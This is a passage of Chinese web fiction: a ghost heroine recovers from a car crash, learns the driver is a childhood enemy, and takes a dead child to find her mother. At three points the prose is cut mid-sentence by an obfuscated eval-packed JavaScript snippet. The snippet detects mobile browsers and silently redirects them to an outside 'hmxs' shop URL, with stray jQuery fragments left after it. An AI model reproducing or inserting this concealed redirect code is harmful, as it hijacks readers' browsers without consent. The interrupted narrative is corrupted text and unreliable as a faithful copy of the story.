“什么?”白心眉头一皱,问道,“为什么?” 左慈叹了口气,说道:“损伤太严重,目前还醒不过来。” 这…… 白心不明所以,回头看了一眼她的身体。不看不要紧,这一看差点把她吓死了,白心瞪大双眼,看着自己包得跟木乃伊似的脑袋,头发不出意外地被剃光了,只有一只眼睛还露在外面。 呼吸均匀,倒是没死。 哪个孙子干的?!惊吓过后便是愤怒,白心转回头,看着左慈:“左姐,车祸的时候是你叫我吗?” “对,”左慈点点头,说道,“我正好在附近办事,就看到你们出事了。” “那朱萸,不是,”白心试图问起朱萸,又想到她和左慈不熟,改口问道,“我是说,土地婆呢?” 钟槐看着白心,回答道:“她没事,只是肉身受损,罚点款罢了。” 哦……白心松了口气,低下头抚摸着胸口,还好还好,还好朱萸是个神仙。 “有件事,我想有必要和你说一下。”左慈又开口,这次的语气更加凝重了。 白心抬起头,看着屏幕前一个比一个严肃的人,也不禁紧张了起来,疑惑问道:“什么事?” 左慈举起一只手,手里是一张照片,上面是一个人的半身像。她把照片举到白心眼睛的水平线位置,伸出手臂贴近屏幕,将上面的人完全展示给白心看:“这个人,你认识吗?” 谁啊?白心看着左慈跟FBI通缉犯人似的举着照片,更加好奇了,脑袋也往前凑了凑,试图看清照片上的人。 不认识。 照片里是个男人,看起来和她差不多年纪,不丑不帅很普通,属于放进人堆里立马就找不到的。 白心摇摇头,把头移开屏幕,回答道:“这是谁?我不认识啊。” 她短暂生命中出现的男性浓度可以说低得不能再低了,除开同事,和她接触最多的男的也就是外卖小哥了。娱乐圈的帅哥她尚且都脸盲认不太出来,甭说这种一抓一大把的普通男人了。 左慈却没有把手收回去,而是说道:“这是撞你的人。” 什么?白心心里一惊,刚收回来的脑袋瞬间就又往前凑,就是他?就是这个孙子撞的我? “你再看看呢?”钟槐在一旁说道,“你真的不认识吗?” 白心听见钟槐的话,疑惑的同时更紧张了,怎么这人我还必须认识吗?她凑近屏幕,一寸一寸地看,生怕遗漏了什么细节。 脸型很普通,耳朵一看就不招财,嘴巴很丑,鼻子更是一坨,左眼不大不小,右眼…… 白心的眼睛猛地睁大。 钟槐在屏幕那边看着白心的表情,说道:“你看到了吗,他的右眼。” 是的,她看到了。白心的眼睛睁到最大,看清了照片里男人的右眼。 他的右眼,准确地说,是右眼上方,有一块三角形形状的疤痕。 54.沉默的幼儿园(二十一) 白心看着照片里的男人,头上的冷汗不自觉地冒了出来,一股寒意迅速攀上了后背。 “他是……”白心舔了下嘴唇,不确定地问道,“他是蓝天幼儿园那个人?” 钟槐说过,她小时候见义勇为,为钟榆两肋插刀,曾经一个暴起举着包书的夹子对着前桌男孩的眼睛就是插。 巧合吗?白心看着男人右眉下那个十分明显的三角形疤痕,想,还是……故意? “是,”钟槐看着白心,回答道,“就是他。” “他叫何威,二十五岁,目前在一家医药公司任职,”左慈放下照片,平静说道,“现在还不能判断他是否有意为之。” 何威?白心听着这个陌生的名字,大脑一片空白。她连钟榆都忘了,甚至蓝天幼儿园都不记得了,甭说这个什么何什么威了。 “不能判断?”白心又问道。 左慈点点头:“是的,因为他的车刹车也出了问题。” 应该不至于。白心听到这个结果,心里稍微松了口气。看来这场车祸意外的占比比较大,她想,何威总不至于为了害她把自己的刹车弄坏吧? 装备齐全全车完好地来撞她那是杀人犯,白心想,把自己刹车弄坏再来害她那就不单单是杀人犯了。 纯疯子来的。 白心右手放在心脏的位置,往下顺了顺,接下来该鉴伤的鉴伤,该定责的定责,一切按照流程走就好。 就当踩到狗屎了。白心闭上眼,安慰自己。 “但是,”左慈又说道,“我觉得他有点不对劲。” “什么不对劲?”白心睁开眼睛,看着左慈,她的眉头微皱,一向平静的脸上竟有些许担忧。 “他好像还记得你,”左慈也看着白心,说道,“他坐在驾驶位看了你很久。” 白心:? “我就说他是故意的。”钟槐在一旁淡淡说道,然而平淡中浮现出一丝极其恐怖的杀欲。 不会吧?听见左慈的话,白心刚平复好的心又猛地跳起来了。二十多年过去了,我都在鬼门关徘徊了你还没释怀,她想,你的心眼不至于这么小吧大哥? “我再去调查一下,”左慈再次说道,语气变得柔和,“这段时间我们会轮流照看你,你不会有事的。” 照看?白心迷惑了一秒,才明白她说的是照看她的□□。白心低下头,看见陈灵趴在她的旁边呼呼大睡,鼾声堪比豪猪。 “你妈妈很着急,”左慈笑着说道,“接完电话就赶来了。” “啊……”白心刚想回答,又觉得奇怪——妈妈?她抬起头,看见左慈也看着下面睡着的陈灵,眼神温柔。 “她不……”白心看着屏幕前的两个人,刚想解释,又想起来左慈确实还没有见过陈灵,陈灵也不知道她一夕之间交了这么多个朋友。 她看向钟槐,钟槐似乎也没想起来她和陈灵在墓园的摩擦,更不记得白心当时在给谁的墓碑磕头,此时一句话也没说,对左慈的话没有异议。 妈妈。白心说到一半卡住了,觉得有点好笑,陈灵看起来有这么老么? 但是她没有反驳。 “好吧,”她回答道,“那就麻烦你们了。” 某种程度上,陈灵也确实是她的妈妈。监督她吃饭睡觉、照顾她感冒发烧、因为她的混乱作息把她骂得狗血淋头,白心想,确实像个妈妈。 “那我现在该怎么办?”白心又问道,她看向屏幕的右上角,刚好十二点。 她被何威撞得灵魂出窍,此刻肉身也用不了,功德更是个负的,甭说买朱萸白天那么漂亮的皮肤了,连一根鼻毛她都买不起。 “你联系一下黑白无常,”左慈回答,“让他俩给你开通一下二十四小时权限。” “权限?” 左慈点头,说道:“就是灵魂不用回到肉身,你现在是特殊情况。” 哦……白心懂了,就是由正常上下班变成二十四小时待命,她笑了一下,笑得比哭还难看地看着左慈,无奈回答道:“好吧。” 也没有办法了。 “你注意安全,”俩人即将告别,钟槐对着屏幕里苦笑的白心说道,“尽量不要去S级恶灵的地方。” 废话,她想,我找死么。 她点点头,抬起手对着俩人挥手告别,两秒后,屏幕一片漆黑,空气重回寂静。 唉。白心看着黑漆漆的屏幕,深深地叹了口气。 这都叫什么事儿啊。她想,这个何威还真是贱,小时候就看他不像人,长大了更是堪比扫把星,一出场就给她带来这么大的灾难。 正想着,手环猛地一震,急促的铃声响起:“叠个千纸鹤,再系个红飘……” 没有等她唱完,白心就接通了,黑色的屏幕里瞬间出现两张熟得不能再熟的脸。 谢必安和范无救。 电话接通,三个鬼谁也没说话。白心沉默地看着他俩,他俩也疲惫无言地看着白心。 虽然没说话,但都心知肚明,白心看着黑白无常无语又无奈的表情,心里明白他俩肯定已经知道了事情全经过。 静默许久,还是健谈的范无救先开口:“唉,怎么会这样呢?” 我也想问。白心看着范无救的黑脸,说道:“这次可不怪我哦,不是我自己找的死,是别人害的我。” 谢必安也终于说话:“又要扣钱了。” 白心:“……” 范无救终于破防,伸出手指对着白心指指点点:“你你你,怎么就不能让我们省点心。” 额…… 虽然白心想开口反驳,但是她想了一下,如果她当了领导,手底下的员工不是特殊情况就是意外事件,换了她也确实会崩溃。她挠挠头,看着顶着四个黑眼圈的两张臭脸,说道:“抱歉啦,麻烦你们帮我开通一下权限。” “唉,”范无救收回手指,说道,“没办法,也只能这样了。” “这个权限开一次,我们的奖金就要扣除5%,”谢必安说道,两个黑眼圈在他的白脸上格外明显,“属于我们管理失误。” 不至于吧,白心想,不就是白天的时候灵魂在外面飘一下吗,用得着扣这么多钱吗。之前朱萸不也说了,规矩是死的魂是活的,想出来还是有办法的,就是要花点钱罢了。 只不过她现在没钱就是了。 “好了,”范无救看着白心,无奈道,“谁叫你这么特殊,不然就让你就用功德抵了。” 嘿嘿,白心放下手,嬉皮笑脸地想,领导就是兜底的呗,我没有钱那还不是你们来垫。 “你暂时先别乱跑,权限开通之后我会通知你,”谢必安又说道,“白天的时候你也不要跑到太阳底下,不然容易灰飞烟灭。” 白心:…… 这跟没开通有什么区别? 她点点头,表示知道了。范无救又叹了口气,说道:“好了,走了,我们还有一大堆事。” 一黑一白两个鬼在屏幕前象征性挥了挥手,一秒之后,通话结束。 打完电话,白心的心情复杂又轻松。复杂的是现在的情况有点超出她的预料了,不仅灵魂回不去肉身,造成这一切的还是突然冒出来的幼儿园故人。她关上手环,往后一倒就躺在了自己的身体旁边。 轻松的是,现在不需要跟人打交道了,也不用上人间的班了。 呜呜呜,白心哭了几声,然后又哈哈哈笑了几下,又哭又笑堪比精神分裂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951730|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈灵不知道什么时候停止了呼噜,此刻十分安静,白心坐了起来,好奇地看着陈灵乱糟糟的脑袋。她低下头,把耳朵靠近她的头,下一秒,震天响的呼噜响了起来,声波冲击差点让白心的耳膜穿孔。 这女人果然有的是力气,白心立即捂住耳朵往后躺倒,心想不愧是她,连呼噜都打得比别人响。 她躺在床上,看着陌生的天花板,耳边忽然浮现左慈的话。 你妈妈很着急。白心捂着耳朵,又笑了。虽然陈灵年近四十,最近因为工作人也苍老了许多,但真不至于看起来像她妈吧。 难道是……白心看着天花板的月光,突然不敢笑了。她又坐了起来,看见陈灵转了个方向,把脸朝向了床头这边。 她似乎睡得很不舒服,眉头紧皱,眉间两道竖纹十分明显。白心看着陈灵,突然想,她不会是……自己说的吧? 是的,我是白心的妈妈。白心在脑中模拟了一下陈灵接到电话的语气,这完全是她干得出来的事。 妈妈。想到这里,白心的心里忽然被什么戳了一下似的,有点酸酸的。 “叠个千纸鹤,再系个红飘带,愿善良的人们天天好运来~~~”欢快的铃声第三次在这个夜晚响起,然而白心没有着急去接,还沉浸在被陈灵认领的想象中。 这种感觉很好。白心呆住了,一种奇妙的感觉从心底升起,让她觉得酸涩又舒服。 铃声停止,白心的脑袋里还回荡着左慈那句话和她的眼神。许久,她终于从这种感觉里脱出,有点不舍地抬起头,看着屏幕里的未接电话。 土地婆-朱萸来电,未接通。 她抬起手指,点击回拨,接通的间隙她低下头看了一眼陈灵,然而她又迅速地抬起了头,忽然不敢去看了。 “你还好吗?”刚接通,朱萸着急的脸就浮现在了屏幕里,“你没事吧?” 白心大梦初醒般“啊”了一声,回答道:“我没事,你呢?” 朱萸长长地松了口气,也说道:“你没事就好,我也没事,只是皮肤毁了,赔点钱罢了。” “都怪我,”她又说,“是我车技太差了。” 白心此刻终于回过神,看着一脸愧疚的朱萸,说道:“不是你的错,是撞我们的那个男的有问题。” “那个男的?” “是的,”白心点点头,解释道,“说来话长了,他跟我有点仇,算是小时候结下的梁子了。” 朱萸眨眨眼,不明觉厉:“你小时候这么虎啊,还跟人结仇?” 白心呵呵一笑,撩了一下不存在的刘海,说道:“当然,我小时候可是幼儿园一姐。” 开玩笑的,她根本不记得了。 朱萸也呵呵一笑,笑得十分明媚动人,说道:“那一姐,什么时候去救幼儿园的小孩啊?” 对了,白心放下手,终于想起了正事,赶紧问道:“她妈妈是什么情况,我要怎么找到她?” “额……”朱萸思考了一下,捏着下巴回答道,“她妈妈在外地打工,最近刚回来,目前在百花市场卖家具,叫李红豆,三十四岁,和老公离完婚就回来了。” “老公?”白心忽然想到之前李婧说的,杀人犯是父亲那边的仇人。 “是的,”朱萸又说,“她老公也在外地打工,应该是惹到了什么人,对方才对小孩下了狠手。” “那……” 白心眉头一皱,想起了豆思红站在大铁门前,看着她站上升旗台上后亮晶晶的眼睛,还有她心里的执念。 她又问道:“那两个人都在外面,是谁带的小孩?” “她外婆。”朱萸回答。 白心心里一震,说道:“那她是留守儿童?” 55.沉默的幼儿园(二十二) “对。”朱萸回答。 人和人的命运竟然如此相似。白心看着朱萸,脑子里是豆思红眼巴巴地站在铁门前的样子。 同样的父母外出打工,同样的由外婆一手带大,同样的母亲归乡,同样的……离婚。 白心深深地吸了一口气,醒来时久远的车祸记忆又浮现在眼前。 那是她最后一次见到爸爸。 如果“母亲”对她来说是个不敢轻易提及的沉重话题,那么“父亲”就是一张几乎完全空白的轻薄白纸。 在她为数不多有关父亲的记忆里,他的出现似乎总与“迟到”有关。 迟到的礼物、迟到的关心、迟到的怀抱、迟到的……爱。她甚至不确定父亲到底爱不爱她,因为她一点深刻印象都没有了。后来学到“父爱如山”这个词,她只觉得奇怪,父亲的爱明明轻飘飘的,一点也不沉重啊。 连最后一次,在她生命垂危的紧急时刻,他都迟到了。 “你怎么了?”朱萸看着白心的目光逐渐发散,问道。 “啊……”白心回过神来,回答道,“没有,我只是想起了一些以前的事。” “哦,”朱萸点点头,又说道,“那你打算怎么去找她妈妈呢?就这么去吗?” 额…… 听见朱萸的问题,白心犹豫了。她咬着嘴唇,低下头看了一眼自己发光的身体。 人类看不见她。 白心啧了一声,抬起头,知道不能像之前找李婧一样那样去找人了。她问道:“你买的那个皮肤,我们临时工是用不了的吧?” “对,”朱萸回答,“只有正式工,不对,只有我们神仙能用。” 果然。白心叹了口气,就知道,不是什么鬼都能冒充人类的。 那就只有一个办法了。 “我想带豆思红出去,”白心说,“有没有什么方法?” 既然没有办法带人去见鬼,那就带着鬼去找人。她想,反正小孩的心愿是见到她的妈妈,那就只要想办法把她从幼儿园弄出来就可以了。 “嗯……”朱萸伸出一根食指抠着头皮,想了半天,回答道,“也不是完全没办法……” “那你快说啊。”白心看着朱萸支支吾吾犹犹豫豫的样子,不禁催促道。 朱萸放下手,顿了顿,说道:“其实,买两件钟槐穿的那种防护服就好。” “防护服?” “嗯,”朱萸看着白心,回答道,“防护服是用高级材料做的,不仅能防紫外线,还能把灵魂完全隔绝出来,使其不受任何限制地移动。” 听见防护服,白心的脑子里立马浮现出拉风又高调的红色少女,以及旁边随时听令一身灰色的叫做王二的狗。 “但是吧……”朱萸笑了笑,说道,“有点贵哦。” “多少钱?”白心问道。 “一万五功德一件。” 白心:“……” “每个捉鬼师都会配备专门的防护服,”朱萸看到白心无语的表情,说道,“你不是捉鬼师,那就只能用钱买了。” 听到这里,白心想的不是她买不买得起,而是王二这小子竟然这么有钱?!同为引渡人,怎么他随便一掏就能掏出一万五来?! 然后她又想到,王二这一世的建模还不错,死的时候骑着看起来不便宜的机车,半夜三更不睡觉搁那炸街,一副不用打工的潇洒模样。 哪家的富二代公子吧。白心呵呵一笑,终于把逻辑圆了回来,能投胎成有钱人的想必功德也不会低。 怪不得。 “还有另一个办法。”朱萸看着白心一会儿无语一会儿笑快要分裂的表情,赶紧说道。 “什么?” “你可以退而求其次,买防晒衣。”朱萸说道。 防晒衣……白心看着朱萸,想起来她之前是提起过这个。穿上防晒衣,就可以防住紫外线,灵魂就可以在太阳下行动。 但是……白心想了一下,防晒衣我也买不起啊。 甭说防晒衣了,啥她都买不起。当人的时候尚且收支平衡,每个月还能吃几顿好的,现在成了鬼,如果西北风要收费,她都喝不起。 “你还记得捕灵网吧?”朱萸又说,“那天晚上你们逃生出来的时候用的,防晒衣跟那个材质是一样的,只是没有防护服那么好。” “捕灵网有时间限制,防晒衣没有,你买了可以一直穿到你投胎。” “额……”白心打断朱萸的解说,语气无奈地说道,“还有其他办法吗?” 她咧了咧嘴,露出一个农民老实巴交的笑容:“俺真的买不起啊。” 朱萸一愣,看着白心苦涩的笑,想起来面前的女孩也是功德低到进不去地府的。 “那……” 朱萸张了张口,说道:“那就只有最后一个办法了。” “什么?”白心再次问道。 “直接取出她的灵魂种子,”朱萸说,“她的执念没有了,就可以随意移动了。” 可是…… 白心看着朱萸,嘴唇微张,想说可是,直接取出,她的记忆就消失了啊。 白心叹了口气,伸出右手扶着额头,脑子里想起了之前不知道在哪看过的一个词:忒修斯之船。 一艘忒修斯之船,人们用新部件替换旧部件,当所有的部件都被更换,那么这艘船还是原来的船吗?白心闭上眼睛,想,失去了记忆,豆思红还是原来那个深深思念妈妈的豆思红吗? 绝对不是。 白心睁开眼,抬起头看着朱萸,问道:“防晒衣多少钱?” “额……”朱萸看着一脸疲惫但眼神坚定的女孩,有点怔忡,回答道,“一千功德点。” 一千功德,一件防晒衣。几乎相当于一个刘晓希,十个豆思红一生的功德。 “我还想问,”白心再次问道,“地府应该是可以赊账的吧?” 就当是欠的。白心算了一下,现在她的功德点是-97999,豆思红这个任务是3000功德点,买完两件衣服还剩1000,不算亏。 “可以是可以,”朱萸愣愣回答道,“我可以以你的名义帮你去买。” “但是……”她问道,“你真的要这样做吗?” 白心看着朱萸不解但是温柔的眼神,说道:“就当是给她,也给我自己的人生一个交代吧。” 她和豆思红岂止是命运的相似。她们连小时候的执念都如此相似。 小的时候她无比期盼妈妈能够和其他人的妈妈一样,在每一个阳光明媚的下午站在幼儿园门口等她放学,在每一个因为害怕新环境 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959799|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能入睡的夜晚紧紧搂着她睡觉,在每一个起床上学的清晨为她自然而然地扎一个普通但好看的马尾。 小孩的世界很小,愿望也很小。她的愿望不是成为拯救世界的超人,而是和妈妈成为一对普通人。 成为放学之后的人潮人海里,每一对手牵着手、看起来幸福快乐的母女之中,最不起眼、最普通的那一对。 “好。”朱萸看着白心,眼神里充满了慈爱。虽然白心没有解释,但是她明白。 “你先休息,”朱萸又说,“防晒衣本质是违禁品,买起来比较麻烦,可能需要点时间。” “没关系。”白心看着朱萸,微微一笑。 “那就这样,”朱萸也笑了,抬起手和她拜拜,“我先挂了。” “好。” 通话结束,白心看着漆黑的屏幕,长长地舒了口气。 她关掉手环,往后躺倒,头顶的月光还是那么皎洁明亮。她偏过头,看着窗外巨大的月亮,笑了。 窗帘被风时不时地吹起来,旁边是陈灵响彻云天的呼噜声,白心想起刚才和朱萸的对话,心里被一种奇妙但十分舒服的感觉填满。 幸福、满足、快乐。 虽然没有赚到多少功德,但是她现在真的好快乐。 白心不自觉地笑了起来,想起昨晚她给豆思红随手扎头发,就听见了她叫妈妈。 妈妈,妈妈。她想,妈妈是不是每个小孩最爱的人。 连她也是,在尚未开智的年纪,在巨大的篮球场摔倒的第一瞬间,都是下意识地叫着远在外地的妈妈。 在车祸后即将手术的时刻,脑子里也想着妈妈。 为什么? 白心想起豆思红的死因,知道她在遇到危险的时候也是在呼唤妈妈。但是,为什么? 她转过头,看着趴在她旁边睡着的陈灵。 你也曾是某个孩子的母亲。白心注视着陈灵头顶的发旋,那种酸涩舒适的感觉又从心底涌了出来。 陈灵的呼噜停滞了一瞬,这次她没有接着睡了,而是抬起头来,睡眼惺忪地摸了摸白心的手,又掀起被子来捏了捏她的腿,一路捏上去,最后手掌轻轻抚在了她被绷带缠得紧紧的脸上。 白心坐了起来,看着陈灵一动不动地盯着她的脸看,一向目光如炬的她竟然有些呆滞。 睡懵了吗? 她顺着陈灵的目光看去,自己的呼吸还算均匀,看起来已脱离了生命危险。就是包得实在太丑了,白心看着自己包得只剩一只眼睛的头,有点想笑。 已经三点了,白心抬起手腕看了一眼时间,不知道陈灵明天还要不要上班。她这么热爱工作的人应该不会翘班吧?她想,而且左慈也说了,她们会轮流照顾她,总的来说应该不用太担心。不知道钟槐还记不记得陈灵,上次她俩在墓园吵了一架,陈灵这么记仇的人应该不会忘记吧,两个暴脾气会不会又打起来啊?想到这里她又笑了。 白心的思绪乱飞,大脑里天马行空,完全没注意陈灵的手已经收了回来,此刻正紧紧捂着自己的脑袋。 白心沉浸在自己的幻想中不停地笑,笑着笑着,突然听见旁边传来一声抽泣。 她的笑容一瞬僵在了脸上。 白心低下头,看见陈灵抓着自己的头发,小声呜咽着。 56.沉默的幼儿园(二十三) 黑白无常在六点的时候发来消息,说权限已开。 土地婆在六点半的时候打了电话,说衣服已经买好。 为了躲避阳光,白心早早地从病床上爬了下来,站在了房间的角落里,五点半的时候天色渐亮,她就这样看着陈灵从天黑坐到了天亮。 陈灵没有号啕大哭,也没有捶胸顿足,只是抱着自己的头呜咽了一会儿,然后就恢复了平静。 这是白心第一次看到陈灵崩溃。一向刀枪不入的陈灵坐在床边,看起来比躺在床上浑身是伤的她还脆弱。 白心站在墙角,呆呆地看着病床旁的女人。这个三十九岁的女人见过天灾人祸、也经历过死生无常、作为金牌销售可谓对人性了如指掌。 她竟然……也会哭? 虽然听起来夸张,但在白心的心里,陈灵就是如此强大的女人。不说全世界,起码在白心的世界里,她从未想象过陈灵掉眼泪的样子。 更夸张的是,她竟然在为了她哭。白心看着陈灵,不可思议地想,对于陈灵,我竟然……这么重要? 她一直以为自己是陈灵宇宙里一颗普通的绕着强大如恒星般的陈灵环绕的小行星。天要亮了,一丝阳光从窗户照进来,把陈灵脸上的泪痕照得无所遁形。 原来她才是恒星。 白心向前走了两步,伸出手去,想要触碰陈灵。然而此刻权限还没有开通,防晒衣也没有,刚一伸手,就被灼热的光线灼伤,白心猛地缩回手,看见自己的右手手背上被烫出了一个圆圆的疤痕。 和太阳一样的圆形。白心放下手,忽然有点想哭。 是陈灵一直在围着她转。 她放下手,缩进墙角,抬起头看着房间里的两个女人。她的整个人生恰如此时此刻,在阴暗的角落躲了一辈子,害怕太阳一样光明的人。 只有陈灵的光芒不会灼伤她。白心看着一脸心疼地盯着病人的女人,忽然又笑了。 谢谢你。 手腕猛地震动。白心抬起手来,看见谢必安发来信息,二十四小时权限已开通,切记不要在阳光下乱跑。 又过了一会儿,朱萸也打了个电话,通话结束,她的手环里多了一大一小两件防晒衣。 打完电话,早上六点四十分。白心穿上形状大小都和透明雨衣一样的防晒衣,大方地走到阳光下,走到病床旁,走到陈灵的背后。 她张开双臂,给了陈灵一个大大的拥抱。 谢谢你。她说,谢谢你的照顾。 白心的身体躺在陈灵的面前,她的灵魂站在陈灵背后,虽然触摸不到,但是白心尽可能地抱着她。空气中飘满了尘埃,白心的心却如尘埃落定一样平静,她闭上眼睛,想,能认识你,是我倒霉人生里最幸运的事。 护士推门进来,陈灵猛地站了起来。白心抱了一会儿,终于离开了她,笑了笑,转身往外走。 她迎着阳光,内心忽然又多了一份坚定。她忽然觉得自己的存在有了锚点,这个世界上有人一直记挂着她,之前是钟榆,现在是陈灵。 白心走到医院楼下,取出机车和头盔,目的地还是蓝天幼儿园。 机车从医院飞了出去,朝着幼儿园狂奔。两边的街景极速后退,她双手握着车把,忽然觉得,自己的死亡,似乎不完全是坏事。 这一场死亡让她看清了自己在她人心里的分量,让活得混沌迷茫的她找到了自己的坐标。 让她知道,这个世界上有人爱她。 天光大亮,白心的心情也大亮,她伏在车上,突然好想大叫,也想大哭大笑。就连现在,在道路尽头也有一个小孩在等着她。 她对于她们是多么重要。 白心的心情酸涩又畅快,她穿着防晒衣,在阳光下肆无忌惮地奔驰着。七点多的马路上车辆拥挤,但是她不用等红绿灯,也不用听交警指挥,旁若无人地穿梭在车流和人群中,在这一刻,她仿佛世界的主宰。 二十分钟后,机车在幼儿园正门口停下。 白心摘下头盔,径直走向铁门,顺利地穿了进去。警报再一次在头顶响起,白心看着明亮的幼儿园,知道小孩白天不会在院子里。 她从靠近铁门的教室开始找,最后在一楼的最后一间教室找到了她。 这是小1班的教室。白心进去之前看了一眼门牌,明白这里应该就是豆思红之前上学的教室。 豆思红藏在门口的墙角里,躲避着阳光。白心在教室里绕了一圈,才在角落找到她。 她从手环里取出那件小一点的防晒衣,抱着衣服蹲在豆思红的面前,笑着说:“豆豆,我们去看妈妈好不好?” 豆思红的表情还是那么麻木,眼神里也充满着自闭症儿童的迷茫,她看见白心,仍然茫然无错,似乎已经不记得她了。 只是听见“妈妈”,她的双眼亮了一瞬,然而重复着白心的话:“妈妈。” 白心站起来,把防晒衣抖开,然后叠成了围脖一样的形状,从下面套进小孩的脑袋,用力往下一扯,衣服就被扯直了,完好地穿在了豆思红身上。 “嗯~”白心满意地点点头,夸赞道,“真不错。” 虽然对三岁半的小孩来说有点大了,但是还蛮可爱的。白心看着被帽子遮了一半脸的豆思红,还有自己这一身,忽然觉得有点好笑,她俩现在像某部动漫里的人。 穿好衣服,白心把豆思红从墙角里拉了出来,两只手架着她的嘎吱窝,一把就把小孩抱在了自己的怀里。 “走吧。”白心抱着小孩往外走,再一次穿过铁门,彻底告别这个幼儿园。 “请选择您的目的地。” 机车的女声再次响起,白心把小孩放在她的前面,豆思红立马被声音吸引了注意力,好奇地看着车头的屏幕。 没想到车头似乎是感应到了小孩热情的目光,屏幕里立刻出现了一个表情:(o^^o) 白心:? “你好呀,小朋友。”低沉又好听的声音再一次响起,只不过这次不是对白心说的了。 白心惊呆了:“你怎么不对我说?” 这样哄孩子的表情,她从未对她做过。白心看着屏幕里那个友好微笑的颜文字表情包,微微感到震惊——这车竟然会见人下菜碟? “你是小朋友吗?”机车回答道。 “你——”白心伸出一根食指指着屏幕,刚想教训一下她,又想到之后还得靠她出行,万一她一个不爽把她甩下车,那她可就真要因公殉职了。 算了,白心放下手,把豆思红扶好,自己也重新坐正了,清了清嗓子,说道:“去百花市场。” 屏幕里的颜文字立即变成了地图,这次的目的地终于变了,红色图钉扎在了地图的另一端。 百花市场,家具市场。 机车扶正,一百八十度转了个弯,带着一大一小两个小孩就冲出了幼儿园。豆思红在白心的怀里,白心握着车把,脑子里是记忆里的百花市场的样子。 这么多年过去了,不知道翻新了没有。八岁的时候她和她妈一起去百花市场给舅舅的新房子挑过家具,那个时候的百花市场可谓是百家争鸣争奇斗艳,土的洋的又土又洋的五花八门的什么家具都有,百花齐放,名副其实的百花市场。 对了,还不知道豆思红的妈妈卖的是什么,在几楼几号商铺。白心想起来,百花市场足足有五层楼高,里面的商铺密密麻麻堪比蚁穴,要是不知道具体位置,找到死也不一定找得到。 “喂,”白心一边注意前方,一边对着手环说道,“给土地婆打个电话。” “好的主人。”手环立即接旨,说道,“给土地婆-朱萸的电话正在拨通中,请不要挂断。” 手环似乎是已经习惯了白心一直“喂喂喂”地叫她,每次回答问题都精准且快。白心也不是没有考虑过给她起个类似人间一样的某度某爱之类的名字,方便她使用,但是起名废的她只考虑了两秒就放弃了。 不用起名,一样好使。 电话拨通,朱萸疲惫的脸在屏幕里出现,白心看着一脸憔悴的土地婆,不禁有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970420|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些惊讶:“你怎么了?累得跟三天没睡觉一样。” “呵呵,”朱萸轻轻一笑,漂亮的卧蚕此刻已经变成了两个大眼袋,她气若游丝地回答道,“被骂了。” “嗯?”白心又是一惊,“被谁?” 土地婆好歹是个神仙,谁敢把她骂成这样?白心瞪大了眼,看着屏幕前正在叹气的朱萸。 “阎王呗,”朱萸看着她,又是勉强一笑,“领导要骂我我有啥办法。” 美女皮囊,罗刹心肠……白心忽然想到之前朱萸对阎王的评价,又问道:“你干啥了?她为啥要骂你?” “还不是给你买防晒衣,”朱萸白眼一翻,“为了弄到这违禁品,我被她可是好一顿批。” 额…… 白心不解,阎王没事干吗,还管到违禁品上了?她又问道:“你在哪买的?” 听到白心的问题,朱萸竖起食指“嘘”一了下,说道:“这东西是违规交易,只能在地府的黑市里买。” “黑市?”白心再次瞪大眼睛,这个只在小说里见到的词语一瞬间让她感到陌生,“你们地府这么时髦?还有黑市?” “林子大了什么鸟都有,”朱萸放下手,又叹了口气,说道,“地府大了也自然是什么鬼都有。” “本来这黑市就一直打不掉,我作为土地婆还亲自跑去给他们做生意,阎王没把我送进地狱惩罚就是好事了。” 这…… 白心听着这宛如小说情节一般的陈述,心想好家伙,连黑市都有。这可不得了了,要是她老板死了,十有八九也得是里面的一份子,她想,不仅黑心,简直是在律法的边缘疯狂试探,同事们都怕有一天老板就进去了。 看来地府还真跟人间差不多。不仅打工制度这么相似,连黑心买卖也大差不差。 “你找我什么事?”朱萸看着白心问道,她的眼皮已经快要掉到地上了,一整个疲惫爆发的状态。 “哦,”白心赶紧回答,“我想问你豆思红妈妈卖家具的具体位置在哪?” “额……”朱萸听见问题,眼睛向上翻了翻,说道,“好像是二楼吧?我不记得了,找起来挺麻烦的。” “二楼什么位置?”白心立即追问,生怕她忘了。 “不记得了,”朱萸摇摇头,“只记得是卖窗帘的。” 白心:“……” 真是听君一席话白听一席话,白心觉得无语,谁不知道百花市场二楼是卖窗帘的? 但是她看着朱萸好心又疲惫的表情,还是不好意思让她继续找了,说道:“好吧,我自己去找,你休息去吧。” “嗯。”说完,朱萸立即挂断了电话。 屏幕熄灭,消失,大马路重新出现在白心的眼前。她微微低头,看着全程盯着朱萸说话的豆思红,问道:“豆豆,你记得妈妈在哪里吗?” “妈妈,”豆思红还是重复着妈妈两个字,“妈妈。” 